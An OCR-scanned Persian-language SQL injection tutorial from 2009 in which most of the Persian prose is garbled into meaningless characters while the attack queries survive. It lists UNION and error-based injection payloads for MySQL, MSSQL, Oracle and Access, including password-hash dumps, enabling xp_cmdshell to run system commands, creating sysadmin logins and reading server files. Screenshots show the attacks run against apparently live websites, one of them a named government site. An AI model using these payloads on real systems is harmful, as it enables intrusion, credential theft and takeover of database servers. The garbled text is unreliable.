s sl 2 89y 9 J

3915 895 P i 4ol 3 S &5 Wblpo (5 55 4 Gl 391 ol 392
b Wi aspx wWgwd b YT Wlxio &5 bcsls ¥ gomo 3,18 asp.net pb b .net g4s goseo
WS o0 515 0013 0Ly ylgie 43 41591 .3 o

2,55 S31, Jgua pb og¥ oo MySQL wiiled i DBMS ! 49
SELECT 1,2

Sld 8,18 8929 information_schema glow MySQL wiilo 3 DBMS (! 49

P Byl 30 (I LSl 8aid (S 0 Gwo 3w il 50 Los 31 (90l g 0 AT Jlhao

g Lust 50 Lot Ciils 992 9 piwww J5' (61 information_schema &3 Jud 8590 40 .9,418
10,1005 9 SN utlins 2 sl

Master.information_schema.tables
MySiteDB.information_schema.tables

il oo master BOT () yioan 3 553 3,10 3929 piumw 38 P s O 390 &) ulidd A
eilioo peo sl §35 90 &5 Cul e Sou 03 sbalyy Syl pmilss o
oLl i 38 1y (w0 U &5 wWid SQL Ol jgiws 31 (s 45050 o 0 w>d SN
1S 35 0 30 1 A g WS 0 plauif 081
2 55 S8 3 Query 3 lgien B mild Cund (3957 St 51 2
SELECT name FROM master.sysdatabases

SELECT name FROM master..sysdatabases
SELECT DB_NAME(N); -- for N=1,2,3,...

N S I i 39 45 A s A uliss oolsd Cuusd 39 59T Cuw 3
13 aofol 1y 845 41
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23 903 03wl (ylgicso md 313 Query 3 g Cumd (38357 Cawety &1 50
SELECT name FROM master..sysobjects where xtype="U"
23,55 o3liut y1 Query 3 gioe Logygiw pB (39 39T Cawids 512 (miceod

SELECT name FROM syscolumns WHERE 1d=(SELECT id FROM
sysobjects WHERE name="myTable")

20 g 0 0! (--) (I gio (50 i ods 90 31 (90 5 CwlS (1

SELECT Title,Content FROM T_News WHERE year="2001" UNION SELECT

1,2 FROM T_Users WHERE 1=1—" and enable=true order by id

395 Lawgi Cuodks (3l (992 «8 5 0ol + s 1 lgi o SAS @ bail y Jlail jolaio 4

ool (T s> & 2B (o T URL oS 31 ylgioo & ¥ 0 51 5 00l 8590 b ;Ko 99

Oy

U ol ol il (I slad codls gud (s1418 Query 4F ! jL 23190 (s 4O

g9l & colle (pf A1 L0 8 solaiw! /7 e 31 ylgi e MySQL g DBMS (! 49
339 350 S @ C b 30 Ol ygwd JS13 30 Chnls (489 31

?1d=-1/**/ORDER/**/BY/**/10/* comment*/

oS 3 Query 3 olgion 0318 ol o 9 )1 98 30y 9 Awlisd (39397 Cuwnss 1

bl p0d ik el (T 9at0 1415 (812 223 S 31 PassWOrd &) g s &iat 45

SELECT name, password FROM master..sysxlogins
SELECT name, password FROM master..syslogins

2 35 00wl TOP ygawsd 31 Wb 0192 31 gaw ool A Hio 40 3 10> (51 99

SELECT TOP 1 name FROM (SELECT TOP 8 name FROM
master..syslogins ORDER BY name ASC) ORDER BY name DESC
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1y D ygwd Ofgian (a3 95 1321 590 ol y 311y ygawd W (31930 DBMS (9 40

Amii1S Sgm> g 3 (31 031 51 Y930 JIS (o 4.0 35 19211y (G jgiwd g a5 b
dmiilod (ylgmi o0 8 5 1,211, CREATE § UPDATEMDELETEANSERT &y giowd iy
O 301 Jmil Sy Gl gizmo g wlw varchar(8000) &5 3 Wud &9 b Joua &9 MySQL

:ooo’ M‘")

Nd=1; CREATE TABLE mydata (line varchar(8000))—
=1; BULK INSERT mydata FROM 'C:\inetpub\www\index.asp'—

oS gm0 (o5 Mydata 3 yJhaw g ydindex.asp wlgixe )l B> b pgd jgwd 121 31 w
o1 g3 31 0! 1) o 50 o epoily A0S 15 59 g (g (G 5 o L 39 L) 50
g2 1y mydata Ob gio SELECT g UNION

3wl 000l 333 39 DBMS 9! 30 peo @i g9
20 ¥ 0 3199 03liiw! 3 390 DBMS (s (39 39T cuwed (51 9 tversion ab
SELECT @ @version

1832 2505 09597 Cwnns @il
SELECT user_name()
SELECT system_user()
SELECT user
SELECT loginame FROM master..sysprocesses WHERE
spid==@ @SPID

il o0 MSSQL 38 gl (sa0lS' SO user pgw ygiwd b

SR (0 Wl ') M,_s.o oolaw! QT )‘ o 9 e & ‘) ‘S)b ,_,ug&gé :DB_ NAME &B
SELECT DB_NAME()

ssubstring &b
AR o0 Cowd |y Al 9 31 Sl Ay
SELECT substring(‘abcd’, 3, 1)=»'c’
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sl w5130 S g gb g v E9 i paw (0 3 A (gl Al g

& b s AND

339350 SN 4l b 0us 99 A S § Sl
SELECT 6&2 = 2
SELECT 6&1 = 0

schar Qb
139 350 JB9 51 9590 S5, @ 51,1 SO ol a5 o jgko 4

SELECT char(65) = 'A’
SELECT char(65)+char(66) = 'AB'

Joit) L S oM 31 90 350 oLt glaio 4 miwd d DBMSS 40 4T wilod &b (!

9930 N LAGH 51 Job
ICAST b g i @6
390 E90 4 4N S £ g
SELECT CAST('123"' AS int) =» 123
SELECT CAST(1 AS char)
oIF )sﬁwé

:Query 5 &3 sl 81 b i gk

[F(1=1) SELECT 1 ELSE SELECT 2-- = 1

:CASE 3 gi'wé

b g RS gl 4 (5 giwd

SELECT CASE WHEN (1=0) THEN 1 ELSE 2 END -- = 2
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JgqP uﬁ)éT lﬁ host ﬁb QG)ST W ) gawd
SELECT HOST _NAME()

QLA wilwe sl 9 W (3 )1 992 g concat @B DBMS (! 40 Wi 45 Wd 45y glaibod
Dgw 0 ol + JShos 31 U

O yg0 4O A5 3,10 3¢ g master uliyd 40 00w 6 S &lgi (g gw S DBMS (91 40
2518 S8L ) U T &) (i yiuwd

XP_CMDSHELL

3T (0 1521 Db i 33 1y (o 3 g 9 QG (3!
EXEC xp_cmdshell 'net user'

et ded SQLServer 2005 48 <89 5o I 00 0 >3 13 (90 35 1321 51 W EXEC ygawd
| 00T wag (5o Cuowd 40 A5 S Jlad QB (91 w45 Cawl 3L

SP_ADDLOGIN
IDBMS (sl 9 W 9,15 S (99,5 8Lo!
EXEC sp_addlogin 'user','pass'

$SP_DROPLOGIN
:DBMS j,l5 & Sis>
EXEC sp_droplogin 'user’

$SP_SRVROLEMEMBER
:DBMS 4 DBA &3 o599 3
EXEC master.dbo.sp_srvrolemember 'user’, 'sysadmin'

Sl 2 150 Wlgi o0 4 Wl o ) 099 g Awlish Jaf logS 5T
sysadmin
securityadmin
serveradmin
setupadmin
processadmin
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o diskadmin
e dbcreator
¢ bulkadmin

$SP_CONFIGURE
S 03l 3 5190 (3 pogo (SS9 €995 (0 I 4 (510 Dloalald Lo oo Sy 6 O
| (30 gt JLatd g O 390 30 «(XP_CMDSHELL Lo gasro) YU ailgi (39 5 Jad (T
a0l LT (53l JUo3 (5152 g w518 51 3 4B it Cuowid 33 DBMS (1! 3 @ilgi 31 (odns
XP_CMDSHELL (g jlaw JUa8 (g4l b0 39§ 38 ol diiS (o piwd A8 gy ©oloulddd oy

o Fxey |

EXEC sp_configure 'show advanced options', 1;

EXEC sp_configure 'xp_cmdshell',1;

g p g o | Wb O gid (g (0§57 S0 S 50 I I 0

... 1d=1; EXEC SP_Configure 'show advanced options', 1; Reconfigure; EXEC
SP_Configure 'xp_cmdshell', 1; Reconfigure; --
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%3 Conversion failed when converting the varchar value ‘a* to data type int. - Mozilla Firefox

File Edit View History EBookmarks Tools  Help

@ v c e | | hitp: fumen site. comlfpage. aspxPid=4) or 1=(select top 1 '3} - i ' al )_.'
|£| Mast Visited , Getting Started 54| Latest Headlines C] Custaomize Links

= INT-1 @ INT+1 = HEX-1 & HEX+1 MySQOL MsSQL  #55  Encryphion Encoding  Other

@ LloadlRL

B splcurL +
4 Execute

[] Enable Post data [ ] Enable Referrer
FS
7 171 i §
Server Error in '/' Application.
g 2 x T i

Conversion failed when converting the varchar value ‘a’ to data type int.

Description: An unhandled exception ocourred during the execution of the current web request. Please review the stack trace for more information about the error and
where it ariginated in the code.

Exception Details: System Data SqlClient SqlException: Conversion failed when converting the varchar value 'a' to data type int.

Source Error:

Line 32: cmd.Dispase();

Line 33:

Line 34: rdr.Read();

Line 35: Page.Title = rdr[1].ToString();

Line 36: Label2.Text = rdr[2].ToString(};

Source File: cinetpubiwwroot ielmmiemmibC=oe aspxcs  Line: 34

Stark Trare: ]

>

Dane [

S il o G pus O 590 38 WS 3wl (5092 DBMS (il WAl s S 39 3 S
2S£ W ply 9 93 Query 4 Jbo

71d=4) OR 1=(SELECT TOP 1 'a') —

Mt A (9 gm0 3O Gl 5 39 AR S Lo 3l 0 318 418 (4T ,8 SELECT & J,be
3935 dumillin S 1 (g0 15 40 i 3 51 it OV 013 5 3 S0 9 b 0 s
TOP 31 JaJ3 (onod 49 a0 & 5 Sguion Jolii 15955 5 Ay adnid &5 (y19is (o b lkas>
S St y ) )ls S S gui 0 0010 Ciid 9 SELECT @yl 31 &5 (o domsd ol v 00! 1

| SOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSCSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSCSOSOSOSCSOSOSOSOSOSOSOSOSOSOSOSOSO0R0R0sOs0Os(R08
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fy omilio Sl Pl L a8 plavit ) 802 b 1y o5T (Saualin Jos Wil gi ged DBMS 4F Caunl
23397 Cowid 1y 5 55 pao WM (g 0 v Gl> g0 30 22" Ll 30 sl

71d=4) OR 1=(SELECT TOP 1 table_name FROM information_schema.tables)—

% Conversion failed when converting the nvarchar value ‘sysmasters® to data type int. - Mozilla Firefox

File Edit Wiew History Bookmarks Tools Help
@ - c (mi I _http5,l',l'www.site.com,l'pa_qe.a_sbx?id=f1_) QR 1=(SELECT TOP 1 table__name FROM inFormation__schema.tables)_—- > = I' ¢ ) )

|8 Most Yisited , izetting Started |5 | Latest Headlines |_1'] Customize Links

= INT-1 @ INT+1 = HEX-1 & HEX+1 MySQL Ms3QL XS5 Encrypion  Encoding  Other

& loadURL |

 spiturL 4

¥, Execute

[] Enable Post data [ Enable Referrer

Server Error in '/' Application.

Conversion failed when converting the nvarchar value 'sysmasters’ to data type int.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and
wehere it originated in the code.

Exception Details: System Data SolClient SqlException: Conversion failed when converting the nvarchar value 'syamasters' to data type int.

Source Error:

Lina 32: amd .Disposei);

Line 33:

Lina 34: rdr.Read();

Line 35: Page.Title = rdr[1].ToString();
Line 3&: Label2.Text = rdr[2].ToString();

J=21 30 Yl giismb 45 Cunl 00kl iy U ply 30 Jgur SO pU Canling S8 40 &5 ygkailon

NOT IN i (lgmis0 it pais pU (99 39T Cunichs (5139 o015 4013 Jlgio (puodd 49 33 1y G
29,5 oolaiu!
71d=4) OR 1=(SELECT TOP 1 table_name FROM

information_schema.tables WHERE table_name NOT IN
(‘sysmasters','tablel','table2’,...))--
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©J Conversion failed when converting the nvarchar value *Suggest’ to data type int. - Mozilla Firefox

File Edit “ew History Bookmarks Tools  Help

@ v C 0 (L et e 5uggzst. sspx7s=30 of 1=(select top 1 tsble_name from nforn 17~ | |[GJ+ | soscke 2

[ 8] Most visited P Getting Started 5] Latest Headlines ﬂ Custormize Links |:] Free Hotmail ﬂ ‘Windows Marketplace |;] Windows Media ﬂ Windows

= INT-1 & INT+1 = HEX-1 & HEX+1 My3QL MsSQL %S5 Encryption  Encoding  Other

s LoadURL Ehttp:,-’,-’wnrw.tazirat,.gov.ir,-"Suggest,.aspx?s=30' or l={select top 1 table name from
g% Spiit URL information_ schema.tables)-- o
L Execute

[] Enable Post data [ Enable Referrer

Server Error in '/' Application.

Conversion failed when converting the nvarchar value| 'Suggest’|to data type int.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and
wwhere it ariginated in the code.

Exception Details: System Data SqlClient. SqlException: Conversion failed when converting the nvarchar value 'Suggest to data type int.

Source Error:

An unhandled exception was generated during the execution of the current webh reguest. Information
regarding the origin and location of the exception can be identified using the exception stack trace
helow.

Stack Trace:

[SqlException (0xBO131904): Conversion failed when converting the mvarchar walue 'Suggest' to data type int
System.Data.sglclient. sglconnection.OnError (5qlException exception, Boolean breakConnection) +925466
System.Data.SglClHient.SqlInternalConnection.OnError (SqlException exception, Boolean breakConnection) +B80(w|

i |

4 ¥

SOSOSOSUSUSOSUSUSUSUSOSUSUSOSOSOSUSOSOSUSOSUSOSUSOSOSUSOSUSOSUSOSOSOSOSUSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOS0803C

Dane

23 55 o3l i gion 3w 555 Sty Uiy s 5 Al

71d=4) OR 1=(SELECT TOP 1 table_name FROM information_schema.tables
WHERE table_name NOT IN (SELECT TOP N table_name FROM
information_schema.tables ORDER BY 1 ASC) ORDER BY 1 ASC)--
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3 Conversion failed when converting the nvarchar value *States to data type int. - Mozilla Firefox E”§|g|

File Edit Wew History Bookmarks Tools  Help

@ o C (a1 [ |] | es where table_name not n (select top 1 table_name from information_schematablest)-~ 77 = | |[G]- -

|£| IMost Wisited ’ Getting Started 51 | Latest Headlines |j Customize Links |:] Free Hotmail |j Windoyz;,@etplace |j ‘Windows Media |J ‘Windows
= INT-1 & INT+1 = HEX-1 & HEX +1 MySQL MsSQL ®S5  Encryption  Encoding  Other
& LoadURL htrp: / /. Senditmp SResdl /Suggest. aspx?s=30"' or l=(select top 1 table name from information schema.tahles
. where table name not in (select top 1 table name from information schema.tables))--
B spituRe - & = +
L} Execute |
[] Enable Post data ] Enable Referrer

Server Error in '/' Application.

Conversion failed when converting the nvarchar value to data type int.

Description: &n unhandled exception occurred during the execution of the current wekb request. Please review the stack trace for more information about the error and
where it originated in the code.,

Exception Details: System Data SolClient SqlException: Conversion failed when converting the nvarchar value 'States' to data type int.

Source Error:

An unhandled exception was generated during the execution of the current web recquest. Information
regarding the origin and location of the exception can be identified using the exception stack trace
helow.

Stack Trace:

[SglException (0xB0131504): Conversion failed when converting the nvarchar value 'States' to data type int..
System.Data.sqlcTient. sglConnection.onError (SqlException exception, Boolean hreakConnection) +325466

£
Done

| b

System.Data.sqlClient.SglInternalConnection.onError (SgqlExcaption exception, Boolean hbreakConnection) +80iw

39T caw 1y polis plod ylgi oo N (g 410,1,2,3,4,... polio o1 4180
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:Oracle yo @,y

DBMS ! 31 ¥ 900 Canl 0 (21 30 jSp by (&1 99 & Apache tomcat yg gw g
39 A1 LS 0 08| DBMS ¢ 31 g wiwd cfim Wigms) b &5 (9 raxio (S (0 00!
DBMS ymed! 31 Sl 00t 4 g3 php b g aspx ¢asp YL b &5 SBColw 19149 3190
1 00 o5 oolaiw!

Jovmd> duidl O g0 58 Jou> I pb i SELECT ygawsd 38 Wb DBMS (i 49
23 55 0olaw! jolano o (519 oyl 9o T 3 9 910 992 g BT plod 4o dual

SELECT 1,2,3,4 FROM dual;

33,55 o3lit 515 sQuery 3 olgion BIgu Cunad (33 5T Cuwiss 51

SELECT FROM all tables;
SELECT FROM all_tables;
SELECT from user_tables;
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%3 Untitled Page - Mozilla Firefox

File Edit Wiew History Bookmarks  Tools Help
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SELECT DISTINCT FROM all_tables;
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SELECT FROM all_users ORDER BY username;
SELECT name FROM sys.user$;
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SELECT name,password,astatus FROM sys.user$;
SELECT name,spare4 FROM sys.user$;

tBDBA Cowd
SELECT DISTINCT grantee FROM dba_sys_privs WHERE
ADMIN_OPTION='YES';
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SELECT version FROM vS$instance;
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SELECT version FROM myOwnTable; -- this is not a default table
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%";
SELECT banner FROM v$version WHERE banner LIKE 'TNS%";

36 9,0
SELECT user FROM dual;
SELECT user FROM myOwnTable; -- this is not a default table
385 pwilid
SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance
tduwe sl S ol

SELECT username FROM (SELECT ROWNUM r, username FROM all_users
ORDER BY username) WHERE r=9;

ssubstr b
20 550 198 Jol siol sl 90 &F 4y Sy 40 Ay 5 ) WL

SELECT substr(‘abed’, 2, 3) FROM dual=>» 'bed'

ALY Jsb 4 pg0 s 51
s oS
SELECT bitand(6,2) FROM dual = 2
SELECT bitand(6,1) FROM dual = 0
schr Q6
¢ 31,08 @ ascii oS Jouwd

SELECT chr(65) FROM dual = 'A’
20 g o 0! (oS o Xs 31 (4O oS ooliw! (1 9 A6 (1 3

SELECT chr(65) Il chr(66) FROM dual = 'AB'
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«CAST 3 ,:.Né
SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
Al hos
SELECT 'a'l'b'll'c' FROM dual; =» 'abc'
{CASE g
SELECT CASE WHEN 0=1 THEN 1 ELSE 2 FROM dual; = 2
shost pb
SELECT host_name FROM vS$instance;
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT UTL_INADDR.get_host_address FROM dual,
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;
Lol S JB o

SELECT name FROM v$DATAFILE;
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LValue
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Value
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o FInheritable
o Objectld

« SID
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Database
DataCreate
DataUpdate
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Id
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« LvModule

o LvProp

« Name

« Owner
Parentld
RmtInfoLong
RmtInfoShort

Type

Gl o i) Wl g3 0 D000 & 3190 vk 39 <0413 392 9 4O 35 CnlS (51 9 (5 3o Zud
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3,510 992 9 T 3l oalaiwt 0 3l>1 0 5 Lt yekas 45 3 )1 92 ¢ (CurDir)
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SELECT 'A' %2b 'B' FROM validtable = 'AB'
SELECT 'A' %26 'B' FROM validtable = 'AB'

23 g 0 03I MID a0 31 aid g 335 99 39T owhd (51 8

SELECT MID('abcd',2,2) FROM validtable = 'bc'
29 gai o0 03! 4l y Job 61 9 LEN &b
SELECT LEN('abcd') FROM validtable =» 4

o gui o0 00! CHR 31 551,15 @ ascii o Jovd (51 9
200 IFF L 4 ygiuwd
SELECT IFF(1=1, 'a', 'b') FROM validtable = 'a'
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« 35 080w WHERE b i 481d 31 oyl (o0 (s 395

oo

“calendar.asp?ID=545 UMIOM SELECT TBL_Admin.*2 from TBL_Admin where id=3 P -

& « All rights reserved.

[] Enable Post data  [] Enable Referrer

™ Web Admin Kit +

Web Admin Kit
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| SOSCSUSOSOSOSOSOSOSUSOSOSOSOSOSOSUSUSOSOSOSOSOSUSOSOSOSOSOSUSOSOSOSOSOSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSUSOSOSOSOSOSOROSOSOSOS0R0RC

Page 59 Black.Shadowes | copyright © 2009



[] Enable Post data  [] Enable Referrer

Leads | Czlendar | Fairs and Exhibiti

\ ol | Add
in DEL

oualico o6 LS 39 0l gy il oo 5t alad 3 st o3MSo 1,10 g o
=0 3139 adm_name Ol gixo (951 <8 3F (0 31,93 dus Jgl Query 40 & I Wo oo
oo B 5T S5m0 o5 3 0 Gy om0 50 b ol o2 5 M 5T 31 o B 5 55
St I3 9,519 55903 9 9,5 DBMS (31 39 gy (o 1ol Cawd wgllao SEMD! 4 (4199

ol (g 35 )5 & L6 L DBMS plod

Gl (51 39 (e 9,10 3929 DBMS 91 j0 &5 I Codguemo ploi b Jb> d @
o] O 0010 T g 333 90 A 3,10 3929 9w 3 e WAL 4O 3o

tACCESS (5 45w (38 39T cawed —
39 68 3 (3 ACCESS (g 45 4 9 (o0 @199 3 (oans 9929 pis b 9929 59 3!

Version MSysModules2  MSysAccessObjects MSysAccessXML MSysAccessStorage
97

2000
2002-2003
2007

2 o 0L BT 3 (oo 4 305 Jgu>
Oldos 40 T 31 ofg o 31 s conl I Jgomo © 390 4 MSYSACCESSXML :4 g3
«d 3 08L&l Union
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239w (o0 oLl 39 ) lad Py @255 30 T 3 coliin! PGB 43 Jgu> 992 g PUs O 590 49
Microsoft JET Database Engine (0x80040E37)

The Microsoft Jet database engine cannot find the input table or query
'<TableName>'. Make sure it exists and that its name is spelled correctly.

20313 olL 59990 (30597 Cuwey —

b 0313 (595 (o tokmo St 35 plod Ui (53 o 3ig0 oS3 31 0313 ol
0 T903 4 W ply (5, 51 86 ACE b g JET £ g f (oS3 Wl 00 45 W (50 03Lkiu
1390 ot 9990 E5F 4 Ol

JET

Microsoft JET Database Engine

OR

[Microsoft][Driver ODBC Microsoft Access]

ACE
Microsoft Office Access Database Engine

:(Connection Strings) eafs ol 4 Jlail b 4y —

OLEDB

Provider=Microsoft.Jet .OLEDB.3.51;Data Source=<path to database>
Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<path to database>
Provider=Microsoft.ACE.OLEDB.12.0;Data Source=<path to database>

ODBC

Driver={Microsoft Access Driver (*.mdb) };Dbg=<path to database>

SANDBOX —
i I 0 535 G g ) S WS 9w (0 VBA @l 31 oaliit gilo SandBox e
Wgh g0 4 ly abgl 0 S g g

Service Pack 3 for MS Jet 3.51

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\3.5\engines\SandboxMode

Service Pack 3 for MS Jet 4.0

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode
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ACE 2007

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Office\12.0\Access Connectivity

Engine\Engines\SandboxMode

w3590 4 1wl () Slouis
ByKY- lowo g3
. el Jad pé diinod SandBox e
\ JUb gué 4T mé (8159 g Cuwl JUad Access 99 1 SandBox v
(2 saim)Y Jd 4T g (5199 9 cuwl Jlad pué Access 995 (519 SandBox o
Y ol Jlad adwod SandBox o

SOSOSOSUSUSOSUSUSUSUSOSUSUSOSOSOSUSOSOSUSOSUSOSUSOSOSUSOSUSOSUSOSOSOSOSUSOSUSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOSOS0803C

Page 62

ol 0313 3 15 2 yiid yIi0 ACE 2007 145 3

2 Web  Application wad (oo lid 45 Wil (o0 ¥ (0 st 310io 9 g (o0 60 4 jglailod
Pl g Wyl 1y Access (g 039 &9 3 ooliiw! > wWawd Access wé s 4ol g 93> &5
= g 31 (S 5 4 o g O399 33 Lol o g3 9 gy (N9l D SN b G2, 49

1S ki 1) 392 90 yIio gl (o0 SO

:(Safe functions) ol @193 —
ol 0T Access ailgh jf (wwd 993 49
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Msjtes40.d1l (Windows 2003 MSJet40.d1l 4.0.9505.0)

Abs Array Asc AscB AscW Atn
Chool Chyte Ceur Cdate Cdbl Cdec
Choose Chr Chr$ ChrB ChrB$ Chrw
Chrws Cint Cing Csng Cstr Cvar
CvDate CvErr Date Date$ Dateadd Datediff
Datepart Dateserial Datevalue Day DDB Error
Error$ Exp Filter Fix Format Format$
Formatcurrency | Formatdatetime | Formatnumber | Formatpercent | Fv Hex
Hex$ Hour lif ImeStatus Instr InstrB
InstrRev Int lpmt Irr IsArray IsDate
IsEmpty IsError IsMissing IsNull IsNumeric IsObject
Join LBound LCase LCase$ Left Left$
LeftB LeftB$ Len LenB Log LTrim
LTrim$ Mid Mid$ MidB MidB$ Minute
Mirr Month Monthname Now nPer nPV
Oct Oct$ Partition Pmt Pv Qbcolor
Rate Replace Rgb Right Right$ RightB
RightB$ Rnd Round RTrim RTrim$ Second
Sgn Sin Sin Space Space$ Split
Sqr Str Str$ StrComp StrConv String
String$ StrReverse Switch Syd Tan Time
Time$ Timer Timeserial Timevalue Trim Trim$
Typename UBound UCase UCase$ Val Vartype
Weekday Weekdayname | Year

i) SQL 58 9318 16 (T3 i (50 W ks (5 515 o 4F' sl gi

:SandBox ¢y ge b 999 Jlad dwlono —

53m Jah 330 39 4 855 g0 Sl WS ol Cand 33 45 @ 53 g1
2T Jos 4 g 5 ol> (T 31 SandBox

... username="a’ UNION SELECT curdir() FROM <DefaultSystemTable>
WHERE '1'="1" and password="a’
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:SandBox & b 3l Uas sl

Microsoft JET Database Engine (0x80040E14)
Undefined function 'curdir' in expression.

Fo g i AU 03 5T Sy —
39 SELECT Q}hﬁ 53” gL [ KW UW‘ ,.50: Q’?ﬂ“é}'é éﬁ)l’ ,_sdlo) 053) Qg‘
FADLS 335 © 390 4 it Mol SN 41D (AT 4 0k diibgi SQL

SELECT * FROM ...

23 35 0Lkl W 0010 Zuwogi (I S Cuowd 43 AT Alio gy 3 19 (oo

SELECT id, email FROM users WHERE username ='1' GROUP BY 1
HAVING '1'="1" and password=""

s ol

Microsoft JET Database Engine (0x80040E21)
You tried to execute a query that does not include the specified expression 'id'
as part of an aggregate function.

S (0 4Lo1 Group By a1 00T cawnd oy giw A0 dag Caowd 40

SELECT id, email FROM users WHERE username ='1' GROUP BY
1,id HAVING '1'="1" and password="

s ply
Microsoft JET Database Engine (0x80040E21)

You tried to execute a query that does not include the specified expression
'email' as part of an aggregate function.

2 b & 4> 5o iilo
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SELECT id, email FROM users WHERE username ='1' GROUP BY
1,id,email HAVING '1'="1" and password="

s ol
Microsoft JET Database Engine (0x80040E21)

You tried to execute a query that does not include the specified expression
"1'="1' and password="" as part of an aggregate function.

s g3 oudlivo b Alio (Ilas ply Wil &1 41 3 3k Jof SELECT cuomd 4o o5
Microsoft JET Database Engine (0x80040E21)
Cannot group on fields selected with '*'.

29,397 a1y (g &0 P (4198 (o0 Sl g o> 38

SELECT * FROM users WHERE username ='l' HAVING
sum('1")="1"and password=""

s ply
Microsoft JET Database Engine (0x80040E21)

You tried to execute a query that does not include the specified expression
'ID' as part of an aggregate function.

WS SoF 1 Jou (> g B (ygiw a0 9 (30 ) i 38 Wilgl (0 (g &SI o3 99 59T Cuwy
20,97 Cand 333590 & s g aw b1y s b g 19l (o

SELECT * FROM users WHERE username ='1' AND <ColumnName> = "1’ and
password=""

209w (o0 odlino 35 Pl g b (399 bl O 590 o
Microsoft JET Database Engine (0x80040E10)

No value given for one or more required parameters.

o (i E 95 009597 Cuwss —
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W Wl 9 390 o1 49 D9 0D T 40 WS 45 3,10 amio 9 (S0 & jLi 45 !
Koy § Semd 9 Aid 51y (g g 3 o0 TypeName @b il 00l 09 39T cawis Jgoo S pb
W0 (o0 gt 1y g T E9 (Sgione

SELECT * FROM users WHERE username ='1' UNION SELECT
TypeName(<ColumnName>),NULL FROM <TableName>
WHERE '1'='1' OR '1'="1" and password=""

3 S pulsd &) (g —
S ol J1 71 1 Sledb! gl (o 45 Cul ousd dugi |y LB JET 9390
) fl%‘ FROM Ciowd gL IN Q)lﬁ -hw,ﬁ g‘,ﬁ P ‘) )l’ U?.‘ .é; @l@’)b

SELECT id FROM users WHERE username ='1' UNION SELECT id
FROM <table> IN '<path to database>' WHERE '1'='l" and
password=""

SMB Gmsd sk 31 0 405 1 il 49 s 0010 0LL (s 1y 03> (ol 48l &5 (JF 90 9
ol (0 v gwd B WEBDAYV ¢
. ISAM Connections:
D o yiud 3580 33 G0 I S W GLIEP I b Wilgi oo Access mé Sl 001 ol
L)

-

M~

\

... FROM Table IN "" [<Type>; DATABASE=<Path To Database>;];
... FROM Table IN "<Path To Database>" '"Type"
... FROM [<Type>;DATABASE=<Path To Database>].[<Table>]

sl Ol S 39 ) (5 > 5 S WS 30 1 0315 BlIL E 95 (51 3 992 90 p3lie

HKEY_LOCAL_MACHINE\SOFTWAREWicrosoft\Jet\4.0\ISAM Formats
OR

HKEY LOCAL_MACHINE\SOFTWARE\Wicrosoft\Office\12.0\A ccess
Connectivity Engine\ISAM Formats
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oS (0 00! Wil ol Cund \Engine wulS 40 &5 (9ld 9390 I ISAM s Jlai!

. ODBC Connections:
Sl (& 35 S5 BB 93w yd b 35 ODBC sl Jlait

... FROM [ODBC; DRIVER=<Driver>]
S ou Cund 93 ) (S > 5 WS 48 3 ODBC w¥Lail 199!
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI

o i 3T W ISAM @ g0 4 Wb aid g wdd (03 1y ODBC b Jlail s 01 JET 49990

st b B ywilgs —
4t TOP @ yls (T 30 45 wiiud (o ywd BB 35 (5 59uwd a0 9 b (dmo sl B
29 gw (0 0! Jol slaw Wi 49 ¥ 0o jolaio

SELECT id FROM users WHERE username ='1" and password="
UNION SELECT TOP # * FROM
[TEXT;DATABASE=<DirectoryPath>;HDR=NO;FMT=Delimited
].[<FileName>] WHERE '1'='1' OR '1'="1’

10gw (0 OWNlg> 9 )W 90 4 Excel amio S digod sl 9

SELECT id FROM users WHERE username ='1'and password="
UNION SELECT TOP # * FROM [Excel 8.0;DATABASE=<Full
File Path>;HDR=NO].[Sheet1$] WHERE '1'='1' OR '1'="1’

P S 15l 43 ¥ 900 45 £ 93 A2 (WilgS B 5D (1 31 19T 0 1) o gate b JIB E 9
sl ool 595 90 wiwd (ynilgs B
txt,csv,tab,asc,tmp,htm,html
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:Jgone slbos b ply

Microsoft JET Database Engine error '80040e09'
Cannot update. Database or object is read-only.

s g
ol iz gk E9 31 (Fg 9,19 9929 I

Microsoft JET Database Engine error '80004005'

'<Directory Path>' is not a valid path. Make sure that the path name is
spelled correctly and that you are connected to the server on which the file
resides.

sJdo
ol i gid JHB (5 2305 (5 Mgt b 99,105 392 g 00 adinn 4T (5 o

Microsoft JET Database Engine error '80040e37'

The Microsoft Jet database engine could not find the object '<FileName>'.
Make sure the object exists and that you spell its name and the path name
correctly.

s g
o) v S BB (551> 3315 (5 dwgr b 9 9,10 992 g il adkiio 4 (ML

tMSSQL & Jlail —
45 33 35290 MSSQL 39 <53 43 ok b0 81 ilgh g0 ODBC JUaif oS5 3f
29 55 oolaiu!
SELECT id FROM users WHERE username ='1'and password=""UNION
SELECT * FROM
[ODBC;DRIVER=SQL SERVER; Server=<Server>,<Port>; UID=sa;

PWD=<PASSWORD>; DATABASE=master] .Information_Schema.Tables
where '1'='1'or'1'="1’
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s ol

-

Microsoft JET Database Engine error '80004005'
ODBC--connection to 'SQL SERVER<Server>' failed.

sJdo

S gmd> 9 (o3 9FSmily (5139 (599 9w AT S g (0 AR Wi I 0 Pl (5 ol G (8L ) o )
il (0 ol 303 1y (GARlS O 390 (i guf 30 20410

0055 03! SA 31,315 515 3905 305 9939T i (819 198 (o Y9y 1 3

W98 210 g JL 3> g pus b ogrg—
